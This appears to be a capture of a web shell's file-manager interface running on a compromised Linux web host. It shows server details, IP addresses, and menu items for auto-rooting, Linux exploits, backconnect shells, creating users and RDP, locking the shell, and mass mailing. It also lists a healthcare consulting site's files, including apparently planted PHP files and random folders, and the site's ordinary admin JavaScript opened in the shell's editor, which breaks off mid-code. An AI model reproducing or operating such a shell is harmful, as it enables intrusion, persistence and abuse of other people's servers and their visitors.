Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.217.20
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
healthcarestartup.io /
[ HOME SHELL ]
Name
Size
Permission
Action
.well-known
[ DIR ]
drwxr-xr-x
9c6ae
[ DIR ]
dr-xr-xr-x
assets
[ DIR ]
drwxr-xr-x
data
[ DIR ]
drwxr-xr-x
e8a348
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
npgctxq
[ DIR ]
drwxr-xr-x
product-images
[ DIR ]
drwxr-xr-x
q1kfsjh
[ DIR ]
drwxr-xr-x
sqomjzi
[ DIR ]
drwxr-xr-x
tmwroky
[ DIR ]
drwxr-xr-x
uploads
[ DIR ]
drwxr-xr-x
wp-content
[ DIR ]
drwxr-xr-x
.htaccess
1.13
KB
-r-xr-xr-x
about.html
23.46
KB
-rw-r--r--
accreditation.html
25
KB
-rw-r--r--
admin.css
17.21
KB
-rw-r--r--
admin.html
26.85
KB
-rw-r--r--
admin.js
86.34
KB
-rw-r--r--
billing.html
13.9
KB
-rw-r--r--
blog-detail.html
8.18
KB
-rw-r--r--
blogs.html
11.83
KB
-rw-r--r--
coaching-programs.html
18.35
KB
-rw-r--r--
contact.html
15.68
KB
-rw-r--r--
content-data.js
9.02
KB
-rw-r--r--
defaults.php
1.72
KB
-r--r--r--
ecosystem.config.cjs
257
B
-rw-r--r--
fhyutyvcc.php
143.87
KB
-rw-r--r--
google2f3bfd23e0970042.html
53
B
-rw-r--r--
index.php
12.41
KB
-r-xr-xr-x
license-qggr.php
629
B
-rw-r--r--
licensing-startup.html
21.42
KB
-rw-r--r--
options.php
1.29
KB
-r--r--r--
order-complete.html
9.24
KB
-rw-r--r--
php.ini
106
B
-rw-r--r--
policy-and-procedure-manuals.h...
21.76
KB
-rw-r--r--
product-detail.html
7.77
KB
-rw-r--r--
robots.txt
410
B
-r--r--r--
script.js
86.17
KB
-rw-r--r--
server.js
81.04
KB
-rw-r--r--
styles.css
193.57
KB
-rw-r--r--
training.html
23.44
KB
-rw-r--r--
wp-log1n.php
2.03
KB
-r--r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : admin.js
const $ = (selector, root = document) => root.querySelector(selector); const $$ = (selector, root = document) => Array.from(root.querySelectorAll(selector)); const state = { products: [], blogs: [], messages: [], orders: [], siteEdits: [], settings: {}, stats: {}, activeTab: "overview", productImages: [], blogImages: [], blogBlocks: [], messageFilter: "all", orderFilter: "all", selectedMessageId: "", selectedOrderId: "", activeSiteEditPage: "index.html", discoveredSiteEdits: {}, siteEditDiscoveryStatus: {}, }; const productIconOptions = [ ["package", "Package"], ["stethoscope", "Stethoscope"], ["heart-pulse", "Heart pulse"], ["hospital", "Hospital"], ["ambulance", "Ambulance"], ["pill", "Pill"], ["syringe", "Syringe"], ["briefcase-medical", "Medical briefcase"], ["clipboard-plus", "Medical clipboard"], ["clipboard-check", "Checklist"], ["badge-check", "Accreditation badge"], ["shield-check", "Compliance shield"], ["heart-handshake", "Care partnership"], ["user-round-check", "Client approved"], ["activity", "Clinical activity"], ["users-round", "Care team"], ["line-chart", "Growth chart"], ["folder-check", "Policy folder"], ["rocket", "Startup rocket"], ["wrench", "Operations tools"], ]; const pageOptions = [ ["all", "All pages"], ["index.html", "Home"], ["about.html", "About"], ["coaching-programs.html", "Coaching Programs"], ["policy-and-procedure-manuals.html", "Policy Manuals"], ["licensing-startup.html", "Licensing & Startup"], ["accreditation.html", "Accreditation"], ["training.html", "Training"], ["blogs.html", "Blogs"], ["blog-detail.html", "Blog Detail"], ["product-detail.html", "Product Detail"], ["billing.html", "Billing"], ["order-complete.html", "Order Complete"], ["contact.html", "Contact"], ]; const pageLabel = (page) => pageOptions.find(([value]) => value === page)?.[1] || page || "Page"; const pageHeroPresets = ({ page, label, titleSelector = "#page-title", kicker, title, paragraph1, paragraph2, primaryButton, callButton, includeButtons = true, }) => { const presets = [ { label: `${label} hero small label`, section: "Hero", page, selector: "main .page-hero .section-kicker", type: "text", value: kicker || label, description: "Small label above the page title", }, { label: `${label} hero title`, section: "Hero", page, selector: titleSelector, type: "text", value: title || "", description: "Main page heading", }, { label: `${label} hero paragraph`, section: "Hero", page, selector: "main .page-hero-copy > p:nth-of-type(2)", type: "text", value: paragraph1 || "", description: "First hero paragraph", }, ]; if (paragraph2) { presets.push({ label: `${label} hero second paragraph`, section: "Hero", page, selector: "main .page-hero-copy > p:nth-of-type(3)", type: "text", value: paragraph2, description: "Second hero paragraph", }); } if (includeButtons) { presets.push( { label: `${label} primary button text`, section: "Hero Buttons", page, selector: "main .page-hero .page-actions .button-primary", type: "text", value: primaryButton || "Contact us", description: "Main hero button", }, { label: `${label} call button text`, section: "Hero Buttons", page, selector: "main .page-hero .page-actions .button-call", type: "text", value: callButton || "Call Us Now", description: "Hero phone button", } ); } return presets; }; const siteEditPresets = [ { label: "Header brand name", section: "Header & Navigation", page: "all", selector: ".site-header .brand span", type: "text", value: "Health Care Startup", description: "Logo text in the header" }, { label: "Navigation: About", section: "Header & Navigation", page: "all", selector: ".desktop-nav a[href='about.html'], .mobile-nav a[href='about.html']", type: "text", value: "About Us", description: "Top menu label" }, { label: "Navigation: Coaching", section: "Header & Navigation", page: "all", selector: ".desktop-nav a[href='coaching-programs.html'], .mobile-nav a[href='coaching-programs.html']", type: "text", value: "Coaching Programs", description: "Top menu label" }, { label: "Navigation: Policy Manuals", section: "Header & Navigation", page: "all", selector: ".desktop-nav a[href='policy-and-procedure-manuals.html'], .mobile-nav a[href='policy-and-procedure-manuals.html']", type: "text", value: "Policy & Procedure Manuals", description: "Top menu label" }, { label: "Navigation: Licensing", section: "Header & Navigation", page: "all", selector: ".desktop-nav a[href='licensing-startup.html'], .mobile-nav a[href='licensing-startup.html']", type: "text", value: "Licensing & Startup", description: "Top menu label" }, { label: "Navigation: Accreditation", section: "Header & Navigation", page: "all", selector: ".desktop-nav a[href='accreditation.html'], .mobile-nav a[href='accreditation.html']", type: "text", value: "Accreditation", description: "Top menu label" }, { label: "Navigation: Training", section: "Header & Navigation", page: "all", selector: ".desktop-nav a[href='training.html'], .mobile-nav a[href='training.html']", type: "text", value: "Training", description: "Top menu label" }, { label: "Navigation: Blogs", section: "Header & Navigation", page: "all", selector: ".desktop-nav a[href='blogs.html'], .mobile-nav a[href='blogs.html']", type: "text", value: "Blogs", description: "Top menu label" }, { label: "Header call button text", section: "Header & Navigation", page: "all", selector: ".header-actions .button-call span, .mobile-call span", type: "text", value: "Call Us Now", description: "Phone button label" }, { label: "Header call phone link", section: "Header & Navigation", page: "all", selector: ".header-actions .button-call, .mobile-call", type: "attribute", attribute: "href", value: "tel:+11234567890", description: "Phone number link" }, { label: "Header phone icon", section: "Header & Navigation", page: "all", selector: ".button-call [data-lucide='phone-call'], .button-call svg", type: "attribute", attribute: "data-lucide", value: "phone-call", description: "Lucide icon name" }, { label: "Footer brand name", section: "Footer", page: "all", selector: ".footer-brand span", type: "text", value: "Health Care Startup", description: "Logo text in the footer" }, { label: "Footer description", section: "Footer", page: "all", selector: ".footer-copy p", type: "text", value: "Practical consulting for home care, home health, hospice, and healthcare staffing founders who want a clearer path to launch and growth.", description: "Short footer paragraph" }, { label: "Footer email link", section: "Footer", page: "all", selector: ".footer-contact a[href^='mailto:']", type: "attribute", attribute: "href", value: "mailto:info@startuphomecare.org", description: "Email link destination" }, { label: "Footer copyright", section: "Footer", page: "all", selector: ".footer-bottom p", type: "html", value: "© <span data-year></span> Health Care Startup. Home care startup consulting for compliant growth.", description: "Bottom footer line" }, { label: "All contact button text", section: "Buttons & Links", page: "all", selector: "a.button[href='contact.html']", type: "text", value: "Contact us", description: "Contact button label" }, { label: "All contact button link", section: "Buttons & Links", page: "all", selector: "a.button[href='contact.html']", type: "attribute", attribute: "href", value: "contact.html", description: "Contact button destination" }, { label: "Home hero title", section: "Hero", page: "index.html", selector: "#hero-title", type: "text", value: "Health Care Startup, Home Health Care, or Hospice Business", description: "Main home page headline" }, { label: "Home hero badge", section: "Hero", page: "index.html", selector: ".home-hero-subtitle span", type: "text", value: "Guaranteed Licensing & Accreditation", description: "Small line under the home title" }, { label: "Home hero first paragraph", section: "Hero", page: "index.html", selector: ".home-hero-copy p:first-child", type: "text", value: "Looking to start a home care agency or launch a home health care or hospice business? Startup Home Care Consulting guarantees your state license and full accreditation with CHAP or ACHC, giving you the confidence to move forward without the guesswork.", description: "First home hero paragraph" }, { label: "Home hero second paragraph", section: "Hero", page: "index.html", selector: ".home-hero-copy p:nth-child(2)", type: "text", value: "With our done-for-you process, we provide everything you need to get licensed, accredited, and fully operational - fast, compliant, and stress-free.", description: "Second home hero paragraph" }, { label: "Home call button text", section: "Hero Buttons", page: "index.html", selector: ".hero-action-call span", type: "text", value: "CALL US NOW", description: "Main home phone button" }, { label: "Home contact button text", section: "Hero Buttons", page: "index.html", selector: ".hero-action-contact span", type: "text", value: "CONTACT US", description: "Main home contact button" }, { label: "Home services title", section: "Page Sections", page: "index.html", selector: "#home-services-title", type: "text", value: "Start, license, accredit, and grow with one coordinated system.", description: "Services section heading" }, { label: "Home testimonials title", section: "Page Sections", page: "index.html", selector: "#stories-title", type: "text", value: "Founders use Health Care Startup when clarity matters.", description: "Testimonials heading" }, { label: "Home final CTA title", section: "Page Sections", page: "index.html", selector: "#vision-title", type: "text", value: "Ready to build your agency with confidence?", description: "Final call-to-action heading" }, ...pageHeroPresets({ page: "about.html", label: "About", kicker: "About Startup Home Care", title: "About Startup Home Care", paragraph1: "At Health Care Startup, we make it simple to turn your vision into reality.", paragraph2: "With years of proven experience in consulting, licensing, policy development, branding, and digital setup, we give you the tools, strategies, and confidence to launch strong and grow sustainably.", }), { label: "About support section title", section: "Page Sections", page: "about.html", selector: "#support-title", type: "text", value: "Support that connects compliance, operations, and growth.", description: "Main about section heading" }, { label: "About final CTA title", section: "Page Sections", page: "about.html", selector: "#vision-title", type: "text", value: "Tell us where your agency is headed.", description: "Final call-to-action heading" }, ...pageHeroPresets({ page: "coaching-programs.html", label: "Coaching", kicker: "Coaching Programs", title: "Coaching Programs", paragraph1: "Choose practical startup and growth support for your home care agency.", primaryButton: "Contact us" }), { label: "Coaching product section title", section: "Page Sections", page: "coaching-programs.html", selector: "#products-title", type: "text", value: "Choose a coaching product.", description: "Catalog heading" }, ...pageHeroPresets({ page: "policy-and-procedure-manuals.html", label: "Policy Manuals", kicker: "Policy & Procedure Manuals", title: "Home Care Policy and Procedure Manuals", paragraph1: "Create the documents your agency needs for licensing, operations, and survey readiness." }), { label: "Policy manuals section title", section: "Page Sections", page: "policy-and-procedure-manuals.html", selector: "#manuals-title", type: "text", value: "Policy manuals built for real agency operations.", description: "Manuals section heading" }, ...pageHeroPresets({ page: "licensing-startup.html", label: "Licensing", kicker: "Licensing & Startup", title: "Home Care, Home Health, and Hospice Business Startup Programs", paragraph1: "Launch with a clearer licensing plan, startup checklist, and operating system." }), { label: "Licensing startup section title", section: "Page Sections", page: "licensing-startup.html", selector: "#startup-title", type: "text", value: "Launch support for every startup stage.", description: "Startup section heading" }, ...pageHeroPresets({ page: "accreditation.html", label: "Accreditation", kicker: "Accreditation", title: "Home Care Accreditation Using CHAP and ACHC", paragraph1: "Prepare your agency for accreditation with organized evidence, documentation, and readiness support." }), { label: "Accreditation options title", section: "Page Sections", page: "accreditation.html", selector: "#accreditation-options-title", type: "text", value: "Accreditation options by agency type.", description: "Options section heading" }, ...pageHeroPresets({ page: "training.html", label: "Training", kicker: "Training", title: "Expert-led training for compliant, confident agency operations.", paragraph1: "Train owners, supervisors, and care teams around the work they actually perform." }), { label: "Training section title", section: "Page Sections", page: "training.html", selector: "#training-title", type: "text", value: "Training that connects policies to daily practice.", description: "Training section heading" }, ...pageHeroPresets({ page: "blogs.html", label: "Blogs", kicker: "Blogs", title: "Practical guides for launching and growing a home care agency.", paragraph1: "Read clear, founder-friendly articles on licensing, policy manuals, accreditation, training, operations, and sustainable growth.", primaryButton: "Ask a question", callButton: "View articles" }), { label: "Blogs list title", section: "Page Sections", page: "blogs.html", selector: "#blog-list-title", type: "text", value: "Latest articles", description: "Blog list heading" }, ...pageHeroPresets({ page: "contact.html", label: "Contact", kicker: "Contact Us", title: "Have questions or ready to start your home care business?", paragraph1: "Send a message and we will help you choose the right next step.", primaryButton: "Contact us" }), { label: "Contact form title", section: "Contact Form", page: "contact.html", selector: ".contact-form-card h2", type: "text", value: "Get in Touch", description: "Form heading" }, { label: "Contact name placeholder", section: "Contact Form", page: "contact.html", selector: "#contact-name", type: "attribute", attribute: "placeholder", value: "Name", description: "Name field placeholder" }, { label: "Contact email placeholder", section: "Contact Form", page: "contact.html", selector: "#contact-email", type: "attribute", attribute: "placeholder", value: "Email Address", description: "Email field placeholder" }, { label: "Contact message placeholder", section: "Contact Form", page: "contact.html", selector: "#contact-message", type: "attribute", attribute: "placeholder", value: "Message", description: "Message field placeholder" }, { label: "Contact submit button", section: "Contact Form", page: "contact.html", selector: ".contact-form-card .form-submit", type: "text", value: "Submit", description: "Contact form button" }, { label: "Contact Facebook link", section: "Contact Social Links", page: "contact.html", selector: ".contact-socials a[data-social-link='facebook']", type: "attribute", attribute: "href", value: "https://facebook.com/your-page", description: "Facebook profile URL" }, { label: "Contact LinkedIn link", section: "Contact Social Links", page: "contact.html", selector: ".contact-socials a[data-social-link='linkedin']", type: "attribute", attribute: "href", value: "https://linkedin.com/company/your-page", description: "LinkedIn profile URL" }, { label: "Contact Instagram link", section: "Contact Social Links", page: "contact.html", selector: ".contact-socials a[data-social-link='instagram']", type: "attribute", attribute: "href", value: "https://instagram.com/your-page", description: "Instagram profile URL" }, ...pageHeroPresets({ page: "billing.html", label: "Billing", titleSelector: "#billing-title", kicker: "Billing", title: "Complete your billing details.", paragraph1: "Confirm the selected product and agency state, then enter your billing contact information so the order can be prepared.", includeButtons: false }), { label: "Billing summary title", section: "Billing", page: "billing.html", selector: "#summary-title", type: "text", value: "Order Summary", description: "Order summary heading" }, { label: "Billing submit button", section: "Billing", page: "billing.html", selector: "[data-billing-submit]", type: "text", value: "Continue to secure checkout", description: "Checkout submit button" }, { label: "Order complete title", section: "Order Complete", page: "order-complete.html", selector: "#order-complete-title", type: "text", value: "Confirming your payment.", description: "Completion page heading" }, { label: "Order next steps title", section: "Order Complete", page: "order-complete.html", selector: "#order-next-title", type: "text", value: "What happens next", description: "Next steps heading" }, { label: "Product detail section title", section: "Product Detail", page: "product-detail.html", selector: "#program-details-title", type: "text", value: "Program Details", description: "Static product detail heading" }, { label: "Blog detail body title", section: "Blog Detail", page: "blog-detail.html", selector: "#article-body-title", type: "text", value: "Article Guide", description: "Static blog detail heading" }, ]; const loginView = $("[data-login-view]"); const dashboardView = $("[data-dashboard-view]"); const loginForm = $("[data-login-form]"); const loginStatus = $("[data-login-status]"); const globalStatus = $("[data-global-status]"); const pageTitle = $("[data-page-title]"); const productForm = $("[data-product-form]"); const productList = $("[data-product-list]"); const productImageInput = $("[data-product-images]"); const productImageList = $("[data-product-image-list]"); const productFormTitle = $("[data-product-form-title]"); const productIconSelect = $("[data-product-icon-select]"); const productIconPreview = $("[data-product-icon-preview]"); const blogForm = $("[data-blog-form]"); const blogList = $("[data-blog-list]"); const blogImageInput = $("[data-blog-images]"); const blogImageList = $("[data-blog-image-list]"); const blogBlocksTarget = $("[data-blog-blocks]"); const blogFormTitle = $("[data-blog-form-title]"); const messageList = $("[data-message-list]"); const messageDetail = $("[data-message-detail]"); const orderList = $("[data-order-list]"); const orderDetail = $("[data-order-detail]"); const siteEditForm = $("[data-site-edit-form]"); const siteEditList = $("[data-site-edit-list]"); const siteEditFormTitle = $("[data-site-edit-form-title]"); const siteEditPreset = $("[data-site-edit-preset]"); const siteEditAttributeRow = $("[data-site-edit-attribute-row]"); const siteEditPageFilter = $("[data-site-edit-page-filter]"); const siteEditSectionList = $("[data-site-edit-section-list]"); const siteEditPageList = $("[data-site-edit-page-list]"); const siteEditBulkFields = $("[data-site-edit-bulk-fields]"); const siteEditPageCount = $("[data-site-edit-page-count]"); const siteEditTotalCount = $("[data-site-edit-total-count]"); const saveBulkSiteEditsButton = $("[data-save-bulk-site-edits]"); const accountForm = $("[data-account-form]"); const stripeForm = $("[data-stripe-form]"); const contactSettingsForm = $("[data-contact-settings-form]"); const settingsStatus = $("[data-settings-status]"); const hydrateIcons = () => { if (window.lucide) { window.lucide.createIcons({ attrs: { "aria-hidden": "true" } }); } }; const escapeHtml = (value) => String(value ?? "") .replaceAll("&", "&") .replaceAll("<", "<") .replaceAll(">", ">") .replaceAll('"', """) .replaceAll("'", "'"); const slugify = (value) => String(value || "") .toLowerCase() .trim() .replace(/[^a-z0-9]+/g, "-") .replace(/^-+|-+$/g, ""); const normalizeWhitespace = (value) => String(value ?? "").replace(/\s+/g, " ").trim(); const cssEscape = (value) => { if (globalThis.CSS?.escape) return globalThis.CSS.escape(String(value)); return String(value).replace(/[^a-zA-Z0-9_-]/g, (char) => `\\${char}`); }; const titleCase = (value) => normalizeWhitespace(value) .replace(/[-_]+/g, " ") .replace(/\b\w/g, (char) => char.toUpperCase()); const fieldLabelFromText = (value, fallback = "Content") => { const text = normalizeWhitespace(value); if (!text) return fallback; return text.length > 54 ? `${text.slice(0, 51)}...` : text; }; const showStatus = (target, message, type = "") => { if (!target) return; target.textContent = message || ""; target.classList.toggle("is-error", type === "error"); target.classList.toggle("is-success", type === "success"); }; const apiErrorMessage = (url, response, data) => { if (data?.error) return data.error; if (url.startsWith("/api/") && response.status === 404) { return "The admin API is not reachable. Make sure the Node server is running and /api is proxied to it."; } const text = normalizeWhitespace(data?.text || ""); if (text && !text.startsWith("<!DOCTYPE") && !text.startsWith("<html")) return text; return `Request failed with HTTP ${response.status}`; }; const api = async (url, options = {}) => { const request = { method: options.method || "GET", credentials: "same-origin", headers: {}, }; if (options.body !== undefined) { request.headers["Content-Type"] = "application/json"; request.body = JSON.stringify(options.body); } if (options.formData) { request.body = options.formData; } let response; try { response = await fetch(url, request); } catch (error) { throw new Error("The admin API is not reachable. Make sure the Node server is running."); } const contentType = response.headers.get("content-type") || ""; const data = contentType.includes("application/json") ? await response.json() : { text: await response.text() }; if (!response.ok) { throw new Error(apiErrorMessage(url, response, data)); } return data; }; const showLogin = () => { loginView.hidden = false; dashboardView.hidden = true; hydrateIcons(); }; const showDashboard = async () => { loginView.hidden = true; dashboardView.hidden = false; await loadData(); setPanel(state.activeTab); hydrateIcons(); }; const loadData = async () => { const data = await api("/api/admin/data"); state.products = data.products || []; state.blogs = data.blogs || []; state.messages = data.messages || []; state.orders = data.orders || []; state.siteEdits = data.siteEdits || []; state.settings = data.settings || {}; state.stats = data.stats || {}; renderAll(); }; const setPanel = (panel) => { state.activeTab = panel; $$("[data-tab]").forEach((button) => button.setAttribute("aria-pressed", String(button.dataset.tab === panel))); $$("[data-panel]").forEach((section) => { const isActive = section.dataset.panel === panel; section.hidden = !isActive; section.classList.toggle("is-active", isActive); }); pageTitle.textContent = panel[0].toUpperCase() + panel.slice(1); hydrateIcons(); }; const renderAll = () => { renderStats(); renderSettings(); renderRecentOrders(); renderRecentMessages(); renderProducts(); renderBlogs(); renderSiteEditor(); renderSiteEditPresetOptions(); renderSiteEdits(); renderOrders(); renderMessages(); hydrateIcons(); }; const renderStats = () => { $("[data-stat-products]").textContent = state.stats.products ?? state.products.length; $("[data-stat-blogs]").textContent = state.stats.blogs ?? state.blogs.length; $("[data-stat-orders]").textContent = state.stats.orders ?? state.orders.length; $("[data-stat-new-orders]").textContent = state.stats.newOrders ?? state.orders.filter((item) => ["pending_payment", "manual_request", "paid"].includes(item.status)).length; $("[data-stat-messages]").textContent = state.stats.messages ?? state.messages.length; $("[data-stat-new]").textContent = state.stats.newMessages ?? state.messages.filter((item) => item.status === "new").length; }; const renderRecentMessages = () => { const target = $("[data-recent-messages]"); if (!target) return; if (!state.messages.length) { target.innerHTML = '<div class="compact-item"><strong>No messages yet</strong><small>New contact requests will appear here.</small></div>'; return; } target.innerHTML = state.messages .slice(0, 5) .map( (message) => ` <button class="compact-item mini-button" type="button" data-open-message="${escapeHtml(message.id)}"> <strong>${escapeHtml(message.name || "Website visitor")}</strong> <small>${escapeHtml(message.topic || message.type)} - ${escapeHtml(formatDate(message.createdAt))}</small> </button> ` ) .join(""); }; const orderStatusLabel = (status) => { if (status === "manual_request") return "Manual request"; if (status === "pending_payment") return "Pending payment"; if (status === "paid") return "Paid"; if (status === "processing") return "Processing"; if (status === "completed") return "Completed"; if (status === "cancelled") return "Cancelled"; if (status === "failed") return "Failed"; if (status === "refunded") return "Refunded"; return "Order"; }; const paymentStatusLabel = (status) => { if (status === "manual") return "Manual"; if (status === "paid") return "Paid"; if (status === "failed") return "Failed"; if (status === "refunded") return "Refunded"; return "Unpaid"; }; const isNewOrder = (order) => ["pending_payment", "manual_request", "paid"].includes(order.status); const renderRecentOrders = () => { const target = $("[data-recent-orders]"); if (!target) return; if (!state.orders.length) { target.innerHTML = '<div class="compact-item"><strong>No orders yet</strong><small>Stripe and manual orders will appear here.</small></div>'; return; } target.innerHTML = state.orders .slice(0, 5) .map( (order) => ` <button class="compact-item mini-button" type="button" data-open-order="${escapeHtml(order.id)}"> <strong>${escapeHtml(order.customerName || "Website customer")} - ${escapeHtml(order.total || "$0")}</strong> <small>${escapeHtml(orderStatusLabel(order.status))} - ${escapeHtml(formatDate(order.createdAt))}</small> </button> ` ) .join(""); }; const formatDate = (value) => { if (!value) return ""; return new Intl.DateTimeFormat("en-US", { month: "short", day: "numeric", year: "numeric", hour: "numeric", minute: "2-digit", }).format(new Date(value)); }; const uploadFiles = async (input) => { if (!input?.files?.length) return []; const formData = new FormData(); Array.from(input.files).forEach((file) => formData.append("images", file)); const data = await api("/api/admin/upload", { method: "POST", formData }); input.value = ""; return data.files || []; }; const renderImageStrip = (target, images, removePrefix) => { target.innerHTML = ""; images.forEach((image, index) => { const chip = document.createElement("div"); chip.className = "image-chip"; chip.innerHTML = ` <img src="${escapeHtml(image)}" alt="Uploaded preview ${index + 1}" /> <button type="button" data-remove-${removePrefix}-image="${index}">Remove</button> `; target.append(chip); }); }; const ensureSelectOption = (select, value, label = value) => { if (!select || !value || Array.from(select.options).some((option) => option.value === value)) return; select.append(new Option(label, value)); }; const renderProductIconOptions = () => { if (!productIconSelect) return; productIconSelect.innerHTML = ""; productIconOptions.forEach(([value, label]) => { productIconSelect.append(new Option(label, value)); }); }; const updateProductIconPreview = () => { if (!productIconPreview || !productIconSelect) return; const icon = productIconSelect.value || "package"; productIconPreview.innerHTML = `<i data-lucide="${escapeHtml(icon)}"></i>`; hydrateIcons(); }; const resetProductForm = () => { productForm.reset(); $("[data-product-id]").value = ""; productForm.elements.icon.value = "package"; productForm.elements.isPublished.checked = true; state.productImages = []; productFormTitle.textContent = "Add Product"; renderImageStrip(productImageList, state.productImages, "product"); updateProductIconPreview(); }; const renderProducts = () => { if (!productList) return; if (!state.products.length) { productList.innerHTML = '<div class="list-item"><strong>No products yet</strong><small>Create your first product on the left.</small></div>'; return; } productList.innerHTML = state.products .map((product) => { const images = product.images || (product.image ? [product.image] : []); return ` <article class="list-item"> <div class="item-top"> <div> <strong>${escapeHtml(product.title)}</strong> <small>${escapeHtml(product.id)} - ${escapeHtml(product.price)} - ${images.length} image${images.length === 1 ? "" : "s"}</small> </div> <span class="badge ${product.isPublished === false ? "is-draft" : ""}">${product.isPublished === false ? "Draft" : "Published"}</span> </div> <p>${escapeHtml(product.summary || "")}</p> <div class="item-actions"> <button class="mini-button" type="button" data-edit-product="${escapeHtml(product.id)}">Edit</button> <a class="mini-button" href="product-detail.html?product=${encodeURIComponent(product.id)}" target="_blank" rel="noreferrer">View</a> <button class="mini-button danger" type="button" data-delete-product="${escapeHtml(product.id)}">Delete</button> </div> </article> `; }) .join(""); }; const editProduct = (id) => { const product = state.products.find((item) => item.id === id); if (!product) return; ensureSelectOption(productIconSelect, product.icon, product.icon); productForm.elements.id.value = product.id; productForm.elements.title.value = product.title || ""; productForm.elements.price.value = product.price || ""; productForm.elements.icon.value = product.icon || "package"; productForm.elements.stripePriceId.value = product.stripePriceId || ""; productForm.elements.imageAlt.value = product.imageAlt || ""; productForm.elements.summary.value = product.summary || ""; productForm.elements.description.value = product.description || ""; productForm.elements.includes.value = (product.includes || []).join("\n"); productForm.elements.isPublished.checked = product.isPublished !== false; state.productImages = [...(product.images || (product.image ? [product.image] : []))]; productFormTitle.textContent = "Edit Product"; renderImageStrip(productImageList, state.productImages, "product"); updateProductIconPreview(); productForm.scrollIntoView({ behavior: "smooth", block: "start" }); }; const saveProduct = async () => { const formData = new FormData(productForm); const id = formData.get("id"); const payload = { id, title: formData.get("title"), price: formData.get("price"), icon: formData.get("icon"), stripePriceId: formData.get("stripePriceId"), imageAlt: formData.get("imageAlt"), summary: formData.get("summary"), description: formData.get("description"), includes: String(formData.get("includes") || "") .split(/\r?\n/) .map((item) => item.trim()) .filter(Boolean), images: state.productImages, isPublished: productForm.elements.isPublished.checked, }; await api(id ? `/api/admin/products/${encodeURIComponent(id)}` : "/api/admin/products", { method: id ? "PUT" : "POST", body: payload, }); showStatus(globalStatus, "Product saved.", "success"); resetProductForm(); await loadData(); }; const resetBlogForm = () => { blogForm.reset(); $("[data-blog-original-slug]").value = ""; blogForm.elements.isPublished.checked = true; state.blogImages = []; state.blogBlocks = [{ type: "p", text: "" }]; blogFormTitle.textContent = "Add Blog"; renderImageStrip(blogImageList, state.blogImages, "blog"); renderBlogBlocks(); }; const renderBlogs = () => { if (!blogList) return; if (!state.blogs.length) { blogList.innerHTML = '<div class="list-item"><strong>No blogs yet</strong><small>Create your first article on the left.</small></div>'; return; } blogList.innerHTML = state.blogs .map((blog) => { const images = blog.images || (blog.image ? [blog.image] : []); return ` <article class="list-item"> <div class="item-top"> <div> <strong>${escapeHtml(blog.title)}</strong> <small>${escapeHtml(blog.slug)} - ${escapeHtml(blog.category)} - ${images.length} image${images.length === 1 ? "" : "s"}</small> </div> <span class="badge ${blog.isPublished === false ? "is-draft" : ""}">${blog.isPublished === false ? "Draft" : "Published"}</span> </div> <p>${escapeHtml(blog.excerpt || "")}</p> <div class="item-actions"> <button class="mini-button" type="button" data-edit-blog="${escapeHtml(blog.slug)}">Edit</button> <a class="mini-button" href="blog-detail.html?article=${encodeURIComponent(blog.slug)}" target="_blank" rel="noreferrer">View</a> <button class="mini-button danger" type="button" data-delete-blog="${escapeHtml(blog.slug)}">Delete</button> </div> </article> `; }) .join(""); }; const addBlogBlock = (type) => { if (type === "heading") state.blogBlocks.push({ type, text: "" }); else if (type === "list") state.blogBlocks.push({ type, items: [""] }); else if (type === "image") state.blogBlocks.push({ type, src: "", alt: "", caption: "" }); else state.blogBlocks.push({ type: "p", text: "" }); renderBlogBlocks(); }; const renderBlogBlocks = () => { blogBlocksTarget.innerHTML = ""; state.blogBlocks.forEach((block, index) => { const row = document.createElement("div"); row.className = "block-row"; row.dataset.blockIndex = String(index); const header = ` <div class="block-row-header"> <span>${escapeHtml(block.type === "p" ? "Paragraph" : block.type)}</span> <div> <button class="mini-button" type="button" data-move-block="${index}" data-direction="-1">Up</button> <button class="mini-button" type="button" data-move-block="${index}" data-direction="1">Down</button> <button class="mini-button danger" type="button" data-remove-block="${index}">Remove</button> </div> </div> `; if (block.type === "heading") { row.innerHTML = `${header}<input data-block-field="text" value="${escapeHtml(block.text || "")}" placeholder="Section heading" />`; } else if (block.type === "list") { row.innerHTML = `${header}<textarea data-block-field="items" rows="4" placeholder="One list item per line">${escapeHtml((block.items || []).join("\n"))}</textarea>`; } else if (block.type === "image") { row.innerHTML = ` ${header} ${block.src ? `<img src="${escapeHtml(block.src)}" alt="${escapeHtml(block.alt || "Blog block image")}" />` : ""} <input data-block-field="src" value="${escapeHtml(block.src || "")}" placeholder="/uploads/image.jpg" /> <input data-block-field="alt" value="${escapeHtml(block.alt || "")}" placeholder="Image alt text" /> <input data-block-field="caption" value="${escapeHtml(block.caption || "")}" placeholder="Optional caption" /> <input data-block-upload type="file" accept="image/*" /> `; } else { row.innerHTML = `${header}<textarea data-block-field="text" rows="5" placeholder="Paragraph text">${escapeHtml(block.text || "")}</textarea>`; } blogBlocksTarget.append(row); }); hydrateIcons(); }; const syncBlockFromInput = (input) => { const row = input.closest("[data-block-index]"); if (!row) return; const block = state.blogBlocks[Number(row.dataset.blockIndex)]; if (!block) return; const field = input.dataset.blockField; if (field === "items") { block.items = input.value .split(/\r?\n/) .map((item) => item.trim()) .filter(Boolean); return; } block[field] = input.value; }; const editBlog = (slug) => { const blog = state.blogs.find((item) => item.slug === slug); if (!blog) return; blogForm.elements.originalSlug.value = blog.slug; blogForm.elements.title.value = blog.title || ""; blogForm.elements.slug.value = blog.slug || ""; blogForm.elements.category.value = blog.category || ""; blogForm.elements.readTime.value = blog.readTime || ""; blogForm.elements.icon.value = blog.icon || ""; blogForm.elements.excerpt.value = blog.excerpt || ""; blogForm.elements.published.value = blog.published || ""; blogForm.elements.bodyTitle.value = blog.bodyTitle || ""; blogForm.elements.sidebar.value = blog.sidebar || ""; blogForm.elements.ctaText.value = blog.ctaText || ""; blogForm.elements.ctaHref.value = blog.ctaHref || ""; blogForm.elements.related.value = (blog.related || []).join(", "); blogForm.elements.isPublished.checked = blog.isPublished !== false; state.blogImages = [...(blog.images || (blog.image ? [blog.image] : []))]; state.blogBlocks = 